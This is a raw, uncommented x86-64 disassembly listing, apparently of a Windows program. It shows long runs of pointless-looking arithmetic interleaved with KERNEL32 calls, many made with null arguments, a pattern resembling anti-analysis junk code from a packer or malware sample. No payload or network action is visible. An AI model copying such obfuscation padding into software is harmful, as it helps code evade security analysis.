mov eax, dword [0x140282778]
mov ecx, dword [rsp + 0xa794]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14560]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14770]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bbc], ax
movzx eax, byte [rsp + 0x67a]
movzx ecx, byte [rsp + 0x251]
or eax, ecx
mov byte [rsp + 0x65a], al
mov rax, qword [rsp + 0x14120]
movzx eax, byte [rax]
mov byte [rsp + 0x6af], al
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b2c]
sar eax, cl
mov word [rsp + 0x2b7c], ax
mov eax, dword [rsp + 0x9824]
mov rcx, qword [rsp + 0x14510]
mov qword [rsp + 0x14870], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14870]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14028ee60]
mov dword [rcx], eax
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xa464]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x747c], eax
movzx eax, word [rsp + 0x1ccc]
mov word [rsp + 0x2d5c], ax
movzx ecx, word [rsp + 0x2d4c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x664]
and eax, ecx
mov byte [rsp + 0x67f], al
mov eax, dword [rsp + 0xa3ac]
mov ecx, dword [0x14028edc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x985c], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa584], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd503
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov ecx, dword [0x14028276c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov dword [rsp + 0xa7d4], eax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1aa]
sub eax, ecx
mov byte [rsp + 0x656], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d5c]
sub eax, ecx
mov word [0x140282788], ax
mov eax, dword [rsp + 0x79a4]
mov dword [rsp + 0xa7d8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5f0], eax
mov eax, dword [rsp + 0xa484]
mov ecx, dword [rsp + 0xa654]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6608], eax
mov eax, dword [rsp + 0x6f50]
mov ecx, dword [rsp + 0xa6fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ed0], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa590]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x90bc], eax
movzx eax, word [rsp + 0x2d30]
mov word [rsp + 0x2d60], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x695], al
lea rax, [0x140281dbb]
mov qword [rsp + 0x14878], rax
movzx eax, word [rsp + 0x2bcc]
movzx ecx, word [rsp + 0x2098]
shl eax, cl
mov word [0x140282734], ax
mov eax, dword [rsp + 0x70f8]
movzx ecx, al
mov eax, dword [rsp + 0x84a4]
shr eax, cl
mov dword [rsp + 0xa380], eax
mov eax, dword [rsp + 0x8be0]
mov ecx, dword [0x140282750]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x66b8], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov word [rsp + 0x2d64], ax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14148]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14470]
mov byte [rcx], al
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x14300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0c4], eax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8be0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e8], eax
mov eax, dword [0x1402826c8]
mov ecx, dword [rsp + 0xa714]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa598], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov word [0x14028ed4c], ax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x46c], al
lea rax, [rsp + 0xa688]
mov qword [rsp + 0x14880], rax
mov eax, dword [rsp + 0xa734]
mov ecx, dword [rsp + 0xa704]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d28], eax
movsx eax, byte [rsp + 0x64a]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66b], al
mov rax, qword [rsp + 0x147f0]
movzx eax, word [rax]
mov word [rsp + 0x2d68], ax
movzx eax, word [rsp + 0x15c8]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f4c], ax
lea rax, [rsp + 0x6a5]
mov qword [rsp + 0x14888], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x13ee8], rax
mov eax, dword [rsp + 0x70f8]
mov ecx, dword [0x14028269c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa380], eax
mov rax, qword [rsp + 0x14140]
mov rcx, qword [rsp + 0x141e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140282714], eax
mov eax, dword [0x1402826ec]
movzx ecx, al
mov eax, dword [rsp + 0xa558]
sar eax, cl
mov dword [rsp + 0x8fc8], eax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa45c]
shl eax, cl
mov dword [rsp + 0x8188], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7714]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f7c], eax
lea rax, [rsp + 0x66e]
mov qword [rsp + 0x14890], rax
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d1c]
and eax, ecx
mov word [rsp + 0x2d18], ax
lea rax, [rsp + 0xa698]
mov qword [rsp + 0x14898], rax
mov rax, qword [rsp + 0x14880]
mov eax, dword [rax]
mov ecx, dword [0x14028edc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov eax, dword [rsp + 0xa400]
mov ecx, dword [rsp + 0xa618]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80fc], eax
mov rax, qword [rsp + 0x14490]
mov rcx, qword [rsp + 0x145b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028278c], eax
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
mov word [rsp + 0x2d6c], ax
lea rdx, [rsp + 0xa7e0]
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa5fc], eax
lea rcx, [rsp + 0x246b0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa668], eax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x67a]
sub eax, ecx
mov byte [rsp + 0x46c], al
mov rax, qword [rsp + 0x14120]
movzx eax, byte [rax]
mov byte [rsp + 0x6b0], al
mov rax, qword [0x14028ed90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x147f0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x143c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa384], eax
mov eax, dword [rsp + 0xa6c8]
mov dword [rsp + 0xa7e4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa610], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x624], al
lea rax, [rsp + 0x1e20]
mov qword [rsp + 0x148a0], rax
mov rax, qword [rsp + 0x14618]
mov rcx, qword [0x14028eda0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282750], eax
mov rax, qword [rsp + 0x140f0]
mov rcx, qword [rsp + 0x14490]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa54c], eax
mov rax, qword [rsp + 0x14688]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14098]
mov qword [rsp + 0x148a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa720], eax
lea rcx, [rsp + 0x225d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0x6f54]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x97f4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x148b0], rax
movzx eax, byte [rsp + 0x6ae]
movzx ecx, byte [rsp + 0x659]
or eax, ecx
mov rcx, qword [rsp + 0x14670]
mov byte [rcx], al
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
mov word [rsp + 0x2d70], ax
mov eax, dword [rsp + 0x6608]
mov rcx, qword [rsp + 0x14898]
mov qword [rsp + 0x148b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148b8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa734], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa600]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6bc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rax, [rsp + 0xa4f4]
mov qword [rsp + 0x148c0], rax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [rsp + 0xa554]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282790], eax
mov eax, dword [rsp + 0xa534]
mov ecx, dword [rsp + 0xa7d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa420], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x145e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c20], ax
movzx eax, byte [rsp + 0x68d]
movzx ecx, byte [rsp + 0x648]
add eax, ecx
mov byte [rsp + 0x5d1], al
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c18], ax
mov eax, dword [rsp + 0xa634]
mov ecx, dword [rsp + 0xa63c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa584], eax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov dword [rsp + 0xa7e8], eax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19ac]
and eax, ecx
mov rcx, qword [rsp + 0x14130]
mov word [rcx], ax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d6]
add eax, ecx
mov byte [0x140281dab], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov eax, dword [rsp + 0xa684]
mov dword [rsp + 0xa7ec], eax
mov rax, qword [0x14028edd0]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x147e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa2cc]
mov ecx, dword [rsp + 0xa494]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5c0], eax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14238]
mov qword [rsp + 0x148c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7f98], eax
movzx eax, byte [rsp + 0x68a]
movzx ecx, byte [rsp + 0x686]
shl eax, cl
mov byte [rsp + 0x698], al
movzx eax, word [rsp + 0x2ba8]
mov word [rsp + 0x2d74], ax
mov rax, qword [rsp + 0x14898]
mov rcx, qword [rsp + 0x141e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa648], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa3ac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
add eax, ecx
mov byte [0x140281e07], al
lea rcx, [rsp + 0x24590]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa7f0], eax
movzx eax, word [rsp + 0x2bf4]
mov word [rsp + 0x2d78], ax
movzx eax, byte [rsp + 0x68d]
movzx ecx, byte [rsp + 0x673]
add eax, ecx
mov byte [rsp + 0x64b], al
lea rax, [rsp + 0x2bc4]
mov qword [rsp + 0x148d0], rax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov ecx, dword [0x14028eddc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ad8], eax
mov rax, qword [rsp + 0x14730]
mov rcx, qword [rsp + 0x14608]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8920], eax
mov eax, dword [rsp + 0x76bc]
mov ecx, dword [rsp + 0xa528]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3c0], eax
mov eax, dword [rsp + 0xa708]
mov ecx, dword [rsp + 0xa604]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e70], eax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
mov dword [rsp + 0xa7f4], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa68c], eax
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x148a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x685]
and eax, ecx
mov byte [0x140281de7], al
lea rax, [rsp + 0x7f98]
mov qword [rsp + 0x148d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [0x14028ed6c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a4], eax
mov rax, qword [rsp + 0x140f0]
mov ecx, dword [rsp + 0xa7c8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
mov dword [rsp + 0xa7f8], eax
movzx eax, word [0x14028ede4]
movzx ecx, word [rsp + 0x24c8]
sar eax, cl
mov word [rsp + 0x2134], ax
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
mov byte [rsp + 0x6b2], al
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x2c28]
shl eax, cl
mov word [rsp + 0x2d78], ax
movsx eax, byte [0x140281dc7]
movsx ecx, byte [rsp + 0x68c]
add eax, ecx
mov byte [rsp + 0x2e9], al
mov eax, dword [rsp + 0x7f44]
mov dword [0x14028ed48], eax
mov rax, qword [rsp + 0x14768]
mov rcx, qword [rsp + 0x144e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f20], eax
movzx eax, byte [rsp + 0x669]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x668], al
movzx eax, word [rsp + 0x2d28]
mov word [rsp + 0x2d7c], ax
mov eax, dword [0x140282790]
mov ecx, dword [rsp + 0xa720]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa478], eax
mov rax, qword [rsp + 0x14880]
mov ecx, dword [rsp + 0x866c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4c0], eax
mov eax, dword [rsp + 0xa40c]
mov dword [rsp + 0xa7fc], eax
mov rax, qword [rsp + 0x147a8]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5c0], eax
mov rax, qword [rsp + 0x148d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ca4]
add eax, ecx
mov word [rsp + 0x2188], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14470]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281dcf], al
mov rax, qword [0x14028eea8]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa468], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov dword [rsp + 0xa800], eax
mov rax, qword [rsp + 0x14140]
mov ecx, dword [rsp + 0x8fc8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa56c], eax
mov rax, qword [rsp + 0x14898]
mov ecx, dword [rsp + 0xa5f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0x14420]
mov eax, dword [rax]
mov dword [rsp + 0xa804], eax
movsx eax, byte [rsp + 0x64e]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x64f], al
movsx eax, word [rsp + 0x2bac]
movsx ecx, word [rsp + 0x2cac]
xor eax, ecx
mov word [rsp + 0x25dc], ax
mov rax, qword [rsp + 0x14758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc0]
or eax, ecx
mov word [rsp + 0x2d70], ax
mov r9d, 1
lea r8, [rsp + 0x14308]
mov rdx, qword [rsp + 0x13f28]
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa2a4], eax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a8]
shl eax, cl
mov byte [0x140281e06], al
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa52c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14840]
mov eax, dword [rax]
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d6c], ax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov byte [rsp + 0x6b3], al
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x144d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa35c], eax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x141c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa520], eax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa454]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c8], eax
mov eax, dword [rsp + 0xa800]
mov ecx, dword [0x1402826fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14700]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281e1a], al
lea rax, [rsp + 0x2cc0]
mov qword [rsp + 0x148e0], rax
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa73c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa808], eax
lea rax, [rsp + 0x7d08]
mov qword [rsp + 0x148e8], rax
movsx eax, byte [rsp + 0x64f]
movsx ecx, byte [rsp + 0x65b]
add eax, ecx
mov byte [rsp + 0x680], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c60]
sar eax, cl
mov rcx, qword [rsp + 0x140a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov word [rsp + 0x2d80], ax
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [0x140281df6]
xor eax, ecx
mov byte [rsp + 0x636], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa80c], eax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [rsp + 0xa6c4]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140282794], eax
mov eax, dword [0x14028ee1c]
movzx ecx, al
mov eax, dword [rsp + 0x706c]
shl eax, cl
mov dword [rsp + 0xa6f0], eax
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x66e8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7a4], eax
mov eax, dword [rsp + 0xa780]
mov dword [rsp + 0xa810], eax
movzx eax, byte [rsp + 0x33b]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x325], al
movzx eax, word [rsp + 0x2188]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1594], ax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x14768]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa764], eax
mov rax, qword [0x14028ee80]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14248]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa410]
mov dword [rsp + 0xa814], eax
lea rdx, [rsp + 0xa6b8]
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa7b8], eax
mov rax, qword [rsp + 0x14098]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14028ee90]
mov dword [rcx], eax
movzx eax, word [0x1402826d8]
movzx ecx, word [rsp + 0x2b88]
sub eax, ecx
mov word [rsp + 0x2d40], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov byte [rsp + 0x6b4], al
movsx eax, word [rsp + 0x2c60]
movsx ecx, word [0x140282694]
add eax, ecx
mov word [rsp + 0x2d0c], ax
movsx eax, byte [rsp + 0x4c7]
movsx ecx, byte [rsp + 0x6b0]
sub eax, ecx
mov byte [rsp + 0x64a], al
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa488]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8590], eax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x148f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x148f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov word [rsp + 0x2d84], ax
movzx eax, byte [rsp + 0x4d0]
movzx ecx, byte [rsp + 0x69b]
or eax, ecx
mov byte [rsp + 0x687], al
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
mov ecx, dword [0x140282744]
xor ecx, eax
mov eax, ecx
mov dword [0x1402826d4], eax
mov eax, dword [rsp + 0xa708]
mov dword [rsp + 0xa818], eax
mov eax, dword [rsp + 0xa4cc]
movzx ecx, al
mov eax, dword [rsp + 0xa44c]
sar eax, cl
mov dword [rsp + 0xa5f8], eax
mov rax, qword [rsp + 0x148c0]
mov ecx, dword [rsp + 0xa6b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa510], eax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14470]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x521], al
movzx eax, word [rsp + 0x2a0c]
movzx ecx, word [rsp + 0x2d00]
sub eax, ecx
mov word [rsp + 0x2098], ax
lea rax, [rsp + 0xa658]
mov qword [rsp + 0x148f8], rax
mov rax, qword [rsp + 0x144f0]
mov ecx, dword [rsp + 0xa53c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5d0], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [0x1402826a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa790], eax
lea rax, [rsp + 0x8348]
mov qword [0x14028ed40], rax
mov eax, dword [rsp + 0x6f2c]
mov dword [rsp + 0xa81c], eax
movsx eax, byte [rsp + 0x642]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14678]
mov byte [rcx], al
movzx eax, word [rsp + 0x29f4]
mov word [rsp + 0x2d88], ax
movzx eax, byte [rsp + 0x65a]
mov rcx, qword [rsp + 0x14810]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b2], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b74]
sub eax, ecx
mov word [rsp + 0x1b28], ax
mov eax, dword [rsp + 0x976c]
mov ecx, dword [rsp + 0xa788]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c4c], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa678]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ff4], eax
lea rax, [rsp + 0x3ed]
mov qword [rsp + 0x14900], rax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d54]
sar eax, cl
mov word [0x140282754], ax
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa490]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa724]
mov ecx, dword [rsp + 0xa7dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa770], eax
mov eax, dword [rsp + 0xa414]
mov dword [rsp + 0xa820], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x74b0]
movzx ecx, al
mov eax, dword [rsp + 0xa524]
shl eax, cl
mov dword [rsp + 0xa4bc], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov word [rsp + 0x2d8c], ax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3d7]
and eax, ecx
mov byte [rsp + 0x6a0], al
mov eax, dword [rsp + 0x86f8]
mov ecx, dword [rsp + 0x7790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c9c], eax
mov rax, qword [rsp + 0x14300]
mov ecx, dword [rsp + 0x8b64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa478], eax
lea rax, [rsp + 0x2cd8]
mov qword [0x14028ed38], rax
mov rax, qword [rsp + 0x146d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
add eax, ecx
